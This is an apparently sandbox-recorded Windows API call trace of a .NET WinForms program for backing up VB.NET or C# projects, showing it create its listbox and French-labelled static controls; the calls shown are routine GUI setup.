[0221.597] GetModuleHandleW (lpModuleName=0x0) returned 0x260000 [0221.597] CreateWindowExW (dwExStyle=0x200, lpClassName="WindowsForms10.LISTBOX.app.0.141b42a_r14_ad1", lpWindowName=0x0, dwStyle=0x562100c1, X=12, Y=229, nWidth=741, nHeight=407, hWndParent=0x1016e, hMenu=0x0, hInstance=0x260000, lpParam=0x0) returned 0x10174 [0221.597] SetWindowLongW (hWnd=0x10174, nIndex=-4, dwNewLong=1895262649) returned 5704086 [0221.597] GetWindowLongW (hWnd=0x10174, nIndex=-4) returned 1895262649 [0221.597] SetWindowLongW (hWnd=0x10174, nIndex=-4, dwNewLong=5704126) returned 1895262649 [0221.597] GetWindowLongW (hWnd=0x10174, nIndex=-4) returned 5704126 [0221.597] GetWindowLongW (hWnd=0x10174, nIndex=-16) returned 1176568001 [0221.597] GetWindowLongW (hWnd=0x10174, nIndex=-12) returned 0 [0221.597] SetWindowLongW (hWnd=0x10174, nIndex=-12, dwNewLong=65908) returned 0 [0221.597] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x10174, Msg=0x81, wParam=0x0, lParam=0x52e594) returned 0x1 [0221.600] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x10174, Msg=0x83, wParam=0x0, lParam=0x52e580) returned 0x0 [0221.600] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x10174, Msg=0x1, wParam=0x0, lParam=0x52e594) returned 0x1 [0221.602] GetWindow (hWnd=0x10174, uCmd=0x3) returned 0x10172 [0221.602] GetClientRect (in: hWnd=0x10174, lpRect=0x52e2a0 | out: lpRect=0x52e2a0) returned 1 [0221.602] GetWindowRect (in: hWnd=0x10174, lpRect=0x52e2a0 | out: lpRect=0x52e2a0) returned 1 [0221.602] GetParent (hWnd=0x10174) returned 0x1016e [0221.602] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1016e, lpPoints=0x52e2a0, cPoints=0x2 | out: lpPoints=0x52e2a0) returned -7405888 [0221.602] GetWindowTextLengthW (hWnd=0x10174) returned 0 [0221.603] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x10174, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0221.603] GetSystemMetrics (nIndex=42) returned 0 [0221.603] GetWindowTextW (in: hWnd=0x10174, lpString=0x52e124, nMaxCount=1 | out: lpString="") returned 0 [0221.603] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x10174, Msg=0xd, wParam=0x1, lParam=0x52e124) returned 0x0 [0221.603] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0221.603] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0221.603] GetSystemMetrics (nIndex=42) returned 0 [0221.603] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52e10c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0221.603] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52e10c) returned 0x23 [0221.603] GetDC (hWnd=0x0) returned 0x100107ec [0221.603] GdipCreateFromHDC (hdc=0x100107ec, graphics=0x52e16c) returned 0x0 [0221.603] CoTaskMemAlloc (cb=0x5c) returned 0x678a90 [0221.603] GdipGetLogFontW (font=0x4d97030, graphics=0x4d97818, logfontW=0x678a90) returned 0x0 [0221.603] CoTaskMemFree (pv=0x678a90) [0221.603] CoTaskMemAlloc (cb=0x5c) returned 0x678a90 [0221.603] CoTaskMemFree (pv=0x678a90) [0221.604] CoTaskMemAlloc (cb=0x5c) returned 0x678a90 [0221.604] CoTaskMemFree (pv=0x678a90) [0221.604] GdipDeleteGraphics (graphics=0x4d97818) returned 0x0 [0221.604] ReleaseDC (hWnd=0x0, hDC=0x100107ec) returned 1 [0221.604] CoTaskMemAlloc (cb=0x5c) returned 0x678a90 [0221.604] CreateFontIndirectW (lplf=0x678a90) returned 0x170a01d8 [0221.604] CoTaskMemFree (pv=0x678a90) [0221.604] SendMessageW (hWnd=0x10174, Msg=0x30, wParam=0x170a01d8, lParam=0x0) returned 0x0 [0221.604] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x10174, Msg=0x30, wParam=0x170a01d8, lParam=0x0) returned 0x0 [0221.606] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x10174, Msg=0x46, wParam=0x0, lParam=0x52db98) returned 0x0 [0221.606] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x10174, Msg=0x83, wParam=0x1, lParam=0x52db70) returned 0x0 [0221.606] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x10174, Msg=0x47, wParam=0x0, lParam=0x52db98) returned 0x0 [0221.606] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x10174, Msg=0x5, wParam=0x0, lParam=0x19302e1) returned 0x0 [0221.629] GetClientRect (in: hWnd=0x10174, lpRect=0x52d8bc | out: lpRect=0x52d8bc) returned 1 [0221.629] GetWindowRect (in: hWnd=0x10174, lpRect=0x52d8bc | out: lpRect=0x52d8bc) returned 1 [0221.629] GetParent (hWnd=0x10174) returned 0x1016e [0221.629] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1016e, lpPoints=0x52d8bc, cPoints=0x2 | out: lpPoints=0x52d8bc) returned -7405888 [0221.629] GetWindowTextLengthW (hWnd=0x10174) returned 0 [0221.629] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x10174, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0221.629] GetSystemMetrics (nIndex=42) returned 0 [0221.629] GetWindowTextW (in: hWnd=0x10174, lpString=0x52d740, nMaxCount=1 | out: lpString="") returned 0 [0221.629] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x10174, Msg=0xd, wParam=0x1, lParam=0x52d740) returned 0x0 [0221.629] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0221.629] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0221.629] GetSystemMetrics (nIndex=42) returned 0 [0221.629] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52d728, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0221.629] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52d728) returned 0x23 [0221.630] GetParent (hWnd=0x10174) returned 0x1016e [0221.631] SendMessageW (hWnd=0x10174, Msg=0x1a1, wParam=0x0, lParam=0x0) returned 0xd [0221.631] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x10174, Msg=0x1a1, wParam=0x0, lParam=0x0) returned 0xd [0221.632] SendMessageW (hWnd=0x10174, Msg=0x1a5, wParam=0x409, lParam=0x0) returned 0x409 [0221.633] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x10174, Msg=0x1a5, wParam=0x409, lParam=0x0) returned 0x409 [0221.633] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x10174, Msg=0x5, wParam=0x0, lParam=0x19302e1) returned 0x0 [0221.633] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x10174, Msg=0x3, wParam=0x0, lParam=0xe7000e) returned 0x0 [0221.633] GetClientRect (in: hWnd=0x10174, lpRect=0x52e2f8 | out: lpRect=0x52e2f8) returned 1 [0221.633] GetWindowRect (in: hWnd=0x10174, lpRect=0x52e2f8 | out: lpRect=0x52e2f8) returned 1 [0221.633] GetParent (hWnd=0x10174) returned 0x1016e [0221.633] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1016e, lpPoints=0x52e2f8, cPoints=0x2 | out: lpPoints=0x52e2f8) returned -7405888 [0221.633] SendMessageW (hWnd=0x10174, Msg=0x2210, wParam=0x1740001, lParam=0x10174) returned 0x0 [0221.633] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x10174, Msg=0x2210, wParam=0x1740001, lParam=0x10174) returned 0x0 [0221.634] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x10174, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0221.634] GetParent (hWnd=0x10174) returned 0x1016e [0221.634] GetCurrentActCtx (in: lphActCtx=0x52eb00 | out: lphActCtx=0x52eb00*=0x681314) returned 1 [0221.634] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x70ee0000 [0221.635] GetModuleHandleW (lpModuleName=0x0) returned 0x260000 [0221.635] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r14_ad1", lpWindowName=0x0, dwStyle=0x5600000d, X=181, Y=179, nWidth=0, nHeight=13, hWndParent=0x1016e, hMenu=0x0, hInstance=0x260000, lpParam=0x0) returned 0x10176 [0221.635] SetWindowLongW (hWnd=0x10176, nIndex=-4, dwNewLong=1894758601) returned 5704006 [0221.635] GetWindowLongW (hWnd=0x10176, nIndex=-4) returned 1894758601 [0221.635] SetWindowLongW (hWnd=0x10176, nIndex=-4, dwNewLong=5704166) returned 1894758601 [0221.635] GetWindowLongW (hWnd=0x10176, nIndex=-4) returned 5704166 [0221.635] GetWindowLongW (hWnd=0x10176, nIndex=-16) returned 1174405133 [0221.635] GetWindowLongW (hWnd=0x10176, nIndex=-12) returned 0 [0221.635] SetWindowLongW (hWnd=0x10176, nIndex=-12, dwNewLong=65910) returned 0 [0221.635] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10176, Msg=0x81, wParam=0x0, lParam=0x52e594) returned 0x1 [0221.635] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10176, Msg=0x83, wParam=0x0, lParam=0x52e580) returned 0x0 [0221.636] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10176, Msg=0x1, wParam=0x0, lParam=0x52e594) returned 0x0 [0221.636] GetWindow (hWnd=0x10176, uCmd=0x3) returned 0x10174 [0221.636] GetClientRect (in: hWnd=0x10176, lpRect=0x52e2c0 | out: lpRect=0x52e2c0) returned 1 [0221.636] GetWindowRect (in: hWnd=0x10176, lpRect=0x52e2c0 | out: lpRect=0x52e2c0) returned 1 [0221.636] GetParent (hWnd=0x10176) returned 0x1016e [0221.636] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1016e, lpPoints=0x52e2c0, cPoints=0x2 | out: lpPoints=0x52e2c0) returned -7405888 [0221.636] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10176, Msg=0x5, wParam=0x0, lParam=0xd0000) returned 0x0 [0221.636] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10176, Msg=0x3, wParam=0x0, lParam=0xb300b5) returned 0x0 [0221.636] GetClientRect (in: hWnd=0x10176, lpRect=0x52e318 | out: lpRect=0x52e318) returned 1 [0221.636] GetWindowRect (in: hWnd=0x10176, lpRect=0x52e318 | out: lpRect=0x52e318) returned 1 [0221.636] GetParent (hWnd=0x10176) returned 0x1016e [0221.636] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1016e, lpPoints=0x52e318, cPoints=0x2 | out: lpPoints=0x52e318) returned -7405888 [0221.636] SendMessageW (hWnd=0x10176, Msg=0x2210, wParam=0x1760001, lParam=0x10176) returned 0x0 [0221.636] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10176, Msg=0x2210, wParam=0x1760001, lParam=0x10176) returned 0x0 [0221.636] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10176, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0221.636] GetParent (hWnd=0x10176) returned 0x1016e [0221.636] GetCurrentActCtx (in: lphActCtx=0x52eb00 | out: lphActCtx=0x52eb00*=0x681314) returned 1 [0221.637] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x70ee0000 [0221.637] GetModuleHandleW (lpModuleName=0x0) returned 0x260000 [0221.637] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r14_ad1", lpWindowName="Repertoire Projet 2 : ", dwStyle=0x5680000d, X=12, Y=174, nWidth=163, nHeight=23, hWndParent=0x1016e, hMenu=0x0, hInstance=0x260000, lpParam=0x0) returned 0x10178 [0221.637] SetWindowLongW (hWnd=0x10178, nIndex=-4, dwNewLong=1894758601) returned 5704006 [0221.637] GetWindowLongW (hWnd=0x10178, nIndex=-4) returned 1894758601 [0221.637] SetWindowLongW (hWnd=0x10178, nIndex=-4, dwNewLong=5704206) returned 1894758601 [0221.637] GetWindowLongW (hWnd=0x10178, nIndex=-4) returned 5704206 [0221.637] GetWindowLongW (hWnd=0x10178, nIndex=-16) returned 1182793741 [0221.637] GetWindowLongW (hWnd=0x10178, nIndex=-12) returned 0 [0221.637] SetWindowLongW (hWnd=0x10178, nIndex=-12, dwNewLong=65912) returned 0 [0221.637] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10178, Msg=0x81, wParam=0x0, lParam=0x52e594) returned 0x1 [0221.638] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10178, Msg=0x83, wParam=0x0, lParam=0x52e580) returned 0x0 [0221.638] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10178, Msg=0x1, wParam=0x0, lParam=0x52e594) returned 0x0 [0221.638] GetWindow (hWnd=0x10178, uCmd=0x3) returned 0x10176 [0221.638] GetClientRect (in: hWnd=0x10178, lpRect=0x52e2c0 | out: lpRect=0x52e2c0) returned 1 [0221.638] GetWindowRect (in: hWnd=0x10178, lpRect=0x52e2c0 | out: lpRect=0x52e2c0) returned 1 [0221.638] GetParent (hWnd=0x10178) returned 0x1016e [0221.638] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1016e, lpPoints=0x52e2c0, cPoints=0x2 | out: lpPoints=0x52e2c0) returned -7405888 [0221.638] SetWindowTextW (hWnd=0x10178, lpString="Repertoire Projet 2 : ") returned 1 [0221.638] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10178, Msg=0xc, wParam=0x0, lParam=0x22cd810) returned 0x1 [0221.638] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10178, Msg=0x5, wParam=0x0, lParam=0x1500a1) returned 0x0 [0221.638] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10178, Msg=0x3, wParam=0x0, lParam=0xaf000d) returned 0x0 [0221.638] GetClientRect (in: hWnd=0x10178, lpRect=0x52e318 | out: lpRect=0x52e318) returned 1 [0221.638] GetWindowRect (in: hWnd=0x10178, lpRect=0x52e318 | out: lpRect=0x52e318) returned 1 [0221.638] GetParent (hWnd=0x10178) returned 0x1016e [0221.638] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1016e, lpPoints=0x52e318, cPoints=0x2 | out: lpPoints=0x52e318) returned -7405888 [0221.638] SendMessageW (hWnd=0x10178, Msg=0x2210, wParam=0x1780001, lParam=0x10178) returned 0x0 [0221.638] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10178, Msg=0x2210, wParam=0x1780001, lParam=0x10178) returned 0x0 [0221.638] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10178, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0221.639] GetParent (hWnd=0x10178) returned 0x1016e [0221.639] GetCurrentActCtx (in: lphActCtx=0x52eb00 | out: lphActCtx=0x52eb00*=0x681314) returned 1 [0221.639] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x70ee0000 [0221.639] GetModuleHandleW (lpModuleName=0x0) returned 0x260000 [0221.639] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r14_ad1", lpWindowName=0x0, dwStyle=0x5600000d, X=181, Y=139, nWidth=0, nHeight=13, hWndParent=0x1016e, hMenu=0x0, hInstance=0x260000, lpParam=0x0) returned 0x1017a [0221.639] SetWindowLongW (hWnd=0x1017a, nIndex=-4, dwNewLong=1894758601) returned 5704006 [0221.639] GetWindowLongW (hWnd=0x1017a, nIndex=-4) returned 1894758601 [0221.640] SetWindowLongW (hWnd=0x1017a, nIndex=-4, dwNewLong=5704246) returned 1894758601 [0221.640] GetWindowLongW (hWnd=0x1017a, nIndex=-4) returned 5704246 [0221.640] GetWindowLongW (hWnd=0x1017a, nIndex=-16) returned 1174405133 [0221.640] GetWindowLongW (hWnd=0x1017a, nIndex=-12) returned 0 [0221.640] SetWindowLongW (hWnd=0x1017a, nIndex=-12, dwNewLong=65914) returned 0 [0221.640] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1017a, Msg=0x81, wParam=0x0, lParam=0x52e594) returned 0x1 [0221.640] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1017a, Msg=0x83, wParam=0x0, lParam=0x52e580) returned 0x0 [0221.640] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1017a, Msg=0x1, wParam=0x0, lParam=0x52e594) returned 0x0 [0221.640] GetWindow (hWnd=0x1017a, uCmd=0x3) returned 0x10178 [0221.640] GetClientRect (in: hWnd=0x1017a, lpRect=0x52e2c0 | out: lpRect=0x52e2c0) returned 1 [0221.640] GetWindowRect (in: hWnd=0x1017a, lpRect=0x52e2c0 | out: lpRect=0x52e2c0) returned 1 [0221.640] GetParent (hWnd=0x1017a) returned 0x1016e [0221.640] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1016e, lpPoints=0x52e2c0, cPoints=0x2 | out: lpPoints=0x52e2c0) returned -7405888 [0221.641] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1017a, Msg=0x5, wParam=0x0, lParam=0xd0000) returned 0x0 [0221.641] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1017a, Msg=0x3, wParam=0x0, lParam=0x8b00b5) returned 0x0 [0221.641] GetClientRect (in: hWnd=0x1017a, lpRect=0x52e318 | out: lpRect=0x52e318) returned 1 [0221.641] GetWindowRect (in: hWnd=0x1017a, lpRect=0x52e318 | out: lpRect=0x52e318) returned 1 [0221.641] GetParent (hWnd=0x1017a) returned 0x1016e [0221.641] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1016e, lpPoints=0x52e318, cPoints=0x2 | out: lpPoints=0x52e318) returned -7405888 [0221.641] SendMessageW (hWnd=0x1017a, Msg=0x2210, wParam=0x17a0001, lParam=0x1017a) returned 0x0 [0221.641] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1017a, Msg=0x2210, wParam=0x17a0001, lParam=0x1017a) returned 0x0 [0221.641] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1017a, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0221.641] GetParent (hWnd=0x1017a) returned 0x1016e [0221.641] GetCurrentActCtx (in: lphActCtx=0x52eb00 | out: lphActCtx=0x52eb00*=0x681314) returned 1 [0221.641] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x70ee0000 [0221.641] GetModuleHandleW (lpModuleName=0x0) returned 0x260000 [0221.641] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r14_ad1", lpWindowName="Repertoire Projet 1 : ", dwStyle=0x5680000d, X=12, Y=134, nWidth=163, nHeight=23, hWndParent=0x1016e, hMenu=0x0, hInstance=0x260000, lpParam=0x0) returned 0x1017c [0221.641] SetWindowLongW (hWnd=0x1017c, nIndex=-4, dwNewLong=1894758601) returned 5704006 [0221.642] GetWindowLongW (hWnd=0x1017c, nIndex=-4) returned 1894758601 [0221.642] SetWindowLongW (hWnd=0x1017c, nIndex=-4, dwNewLong=5704286) returned 1894758601 [0221.642] GetWindowLongW (hWnd=0x1017c, nIndex=-4) returned 5704286 [0221.642] GetWindowLongW (hWnd=0x1017c, nIndex=-16) returned 1182793741 [0221.642] GetWindowLongW (hWnd=0x1017c, nIndex=-12) returned 0 [0221.642] SetWindowLongW (hWnd=0x1017c, nIndex=-12, dwNewLong=65916) returned 0 [0221.642] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1017c, Msg=0x81, wParam=0x0, lParam=0x52e594) returned 0x1 [0221.642] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1017c, Msg=0x83, wParam=0x0, lParam=0x52e580) returned 0x0 [0221.642] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1017c, Msg=0x1, wParam=0x0, lParam=0x52e594) returned 0x0 [0221.642] GetWindow (hWnd=0x1017c, uCmd=0x3) returned 0x1017a [0221.642] GetClientRect (in: hWnd=0x1017c, lpRect=0x52e2c0 | out: lpRect=0x52e2c0) returned 1 [0221.642] GetWindowRect (in: hWnd=0x1017c, lpRect=0x52e2c0 | out: lpRect=0x52e2c0) returned 1 [0221.642] GetParent (hWnd=0x1017c) returned 0x1016e [0221.642] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1016e, lpPoints=0x52e2c0, cPoints=0x2 | out: lpPoints=0x52e2c0) returned -7405888 [0221.643] SetWindowTextW (hWnd=0x1017c, lpString="Repertoire Projet 1 : ") returned 1 [0221.643] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1017c, Msg=0xc, wParam=0x0, lParam=0x22cd99c) returned 0x1 [0221.643] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1017c, Msg=0x5, wParam=0x0, lParam=0x1500a1) returned 0x0 [0221.643] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1017c, Msg=0x3, wParam=0x0, lParam=0x87000d) returned 0x0 [0221.643] GetClientRect (in: hWnd=0x1017c, lpRect=0x52e318 | out: lpRect=0x52e318) returned 1 [0221.643] GetWindowRect (in: hWnd=0x1017c, lpRect=0x52e318 | out: lpRect=0x52e318) returned 1 [0221.643] GetParent (hWnd=0x1017c) returned 0x1016e [0221.643] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1016e, lpPoints=0x52e318, cPoints=0x2 | out: lpPoints=0x52e318) returned -7405888 [0221.643] SendMessageW (hWnd=0x1017c, Msg=0x2210, wParam=0x17c0001, lParam=0x1017c) returned 0x0 [0221.643] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1017c, Msg=0x2210, wParam=0x17c0001, lParam=0x1017c) returned 0x0 [0221.643] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1017c, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0221.643] GetParent (hWnd=0x1017c) returned 0x1016e [0221.643] GetCurrentActCtx (in: lphActCtx=0x52eb00 | out: lphActCtx=0x52eb00*=0x681314) returned 1 [0221.643] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x70ee0000 [0221.643] GetModuleHandleW (lpModuleName=0x0) returned 0x260000 [0221.643] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r14_ad1", lpWindowName=0x0, dwStyle=0x5600000d, X=181, Y=96, nWidth=0, nHeight=13, hWndParent=0x1016e, hMenu=0x0, hInstance=0x260000, lpParam=0x0) returned 0x1017e [0221.644] SetWindowLongW (hWnd=0x1017e, nIndex=-4, dwNewLong=1894758601) returned 5704006 [0221.644] GetWindowLongW (hWnd=0x1017e, nIndex=-4) returned 1894758601 [0221.644] SetWindowLongW (hWnd=0x1017e, nIndex=-4, dwNewLong=5704326) returned 1894758601 [0221.644] GetWindowLongW (hWnd=0x1017e, nIndex=-4) returned 5704326 [0221.644] GetWindowLongW (hWnd=0x1017e, nIndex=-16) returned 1174405133 [0221.644] GetWindowLongW (hWnd=0x1017e, nIndex=-12) returned 0 [0221.644] SetWindowLongW (hWnd=0x1017e, nIndex=-12, dwNewLong=65918) returned 0 [0221.644] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1017e, Msg=0x81, wParam=0x0, lParam=0x52e594) returned 0x1 [0221.644] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1017e, Msg=0x83, wParam=0x0, lParam=0x52e580) returned 0x0 [0221.644] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1017e, Msg=0x1, wParam=0x0, lParam=0x52e594) returned 0x0 [0221.644] GetWindow (hWnd=0x1017e, uCmd=0x3) returned 0x1017c [0221.644] GetClientRect (in: hWnd=0x1017e, lpRect=0x52e2c0 | out: lpRect=0x52e2c0) returned 1 [0221.644] GetWindowRect (in: hWnd=0x1017e, lpRect=0x52e2c0 | out: lpRect=0x52e2c0) returned 1 [0221.644] GetParent (hWnd=0x1017e) returned 0x1016e [0221.645] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1016e, lpPoints=0x52e2c0, cPoints=0x2 | out: lpPoints=0x52e2c0) returned -7405888 [0221.645] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1017e, Msg=0x5, wParam=0x0, lParam=0xd0000) returned 0x0 [0221.645] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1017e, Msg=0x3, wParam=0x0, lParam=0x6000b5) returned 0x0 [0221.645] GetClientRect (in: hWnd=0x1017e, lpRect=0x52e318 | out: lpRect=0x52e318) returned 1 [0221.645] GetWindowRect (in: hWnd=0x1017e, lpRect=0x52e318 | out: lpRect=0x52e318) returned 1 [0221.645] GetParent (hWnd=0x1017e) returned 0x1016e [0221.645] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1016e, lpPoints=0x52e318, cPoints=0x2 | out: lpPoints=0x52e318) returned -7405888 [0221.645] SendMessageW (hWnd=0x1017e, Msg=0x2210, wParam=0x17e0001, lParam=0x1017e) returned 0x0 [0221.645] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1017e, Msg=0x2210, wParam=0x17e0001, lParam=0x1017e) returned 0x0 [0221.645] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1017e, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0221.645] GetParent (hWnd=0x1017e) returned 0x1016e [0221.645] GetCurrentActCtx (in: lphActCtx=0x52eb00 | out: lphActCtx=0x52eb00*=0x681314) returned 1 [0221.645] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x70ee0000 [0221.645] GetModuleHandleW (lpModuleName=0x0) returned 0x260000 [0221.646] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r14_ad1", lpWindowName="\x52\xe9\x70\x65\x72\x74\x6f\x69\x72\x65\x20\x64\x75\x20\x70\x72\x6f\x6a\x65\x74\x20\x3a", dwStyle=0x5680000d, X=12, Y=91, nWidth=163, nHeight=23, hWndParent=0x1016e, hMenu=0x0, hInstance=0x260000, lpParam=0x0) returned 0x10180 [0221.646] SetWindowLongW (hWnd=0x10180, nIndex=-4, dwNewLong=1894758601) returned 5704006 [0221.646] GetWindowLongW (hWnd=0x10180, nIndex=-4) returned 1894758601 [0221.647] SetWindowLongW (hWnd=0x10180, nIndex=-4, dwNewLong=5747478) returned 1894758601 [0221.647] GetWindowLongW (hWnd=0x10180, nIndex=-4) returned 5747478 [0221.647] GetWindowLongW (hWnd=0x10180, nIndex=-16) returned 1182793741 [0221.647] GetWindowLongW (hWnd=0x10180, nIndex=-12) returned 0 [0221.647] SetWindowLongW (hWnd=0x10180, nIndex=-12, dwNewLong=65920) returned 0 [0221.647] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10180, Msg=0x81, wParam=0x0, lParam=0x52e594) returned 0x1 [0221.647] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10180, Msg=0x83, wParam=0x0, lParam=0x52e580) returned 0x0 [0221.647] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10180, Msg=0x1, wParam=0x0, lParam=0x52e594) returned 0x0 [0221.647] GetWindow (hWnd=0x10180, uCmd=0x3) returned 0x1017e [0221.647] GetClientRect (in: hWnd=0x10180, lpRect=0x52e2c0 | out: lpRect=0x52e2c0) returned 1 [0221.647] GetWindowRect (in: hWnd=0x10180, lpRect=0x52e2c0 | out: lpRect=0x52e2c0) returned 1 [0221.647] GetParent (hWnd=0x10180) returned 0x1016e [0221.647] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1016e, lpPoints=0x52e2c0, cPoints=0x2 | out: lpPoints=0x52e2c0) returned -7405888 [0221.648] SetWindowTextW (hWnd=0x10180, lpString="\x52\xe9\x70\x65\x72\x74\x6f\x69\x72\x65\x20\x64\x75\x20\x70\x72\x6f\x6a\x65\x74\x20\x3a") returned 1 [0221.648] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10180, Msg=0xc, wParam=0x0, lParam=0x22cd8bc) returned 0x1 [0221.648] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10180, Msg=0x5, wParam=0x0, lParam=0x1500a1) returned 0x0 [0221.648] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10180, Msg=0x3, wParam=0x0, lParam=0x5c000d) returned 0x0 [0221.648] GetClientRect (in: hWnd=0x10180, lpRect=0x52e318 | out: lpRect=0x52e318) returned 1 [0221.648] GetWindowRect (in: hWnd=0x10180, lpRect=0x52e318 | out: lpRect=0x52e318) returned 1 [0221.648] GetParent (hWnd=0x10180) returned 0x1016e [0221.648] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x1016e, 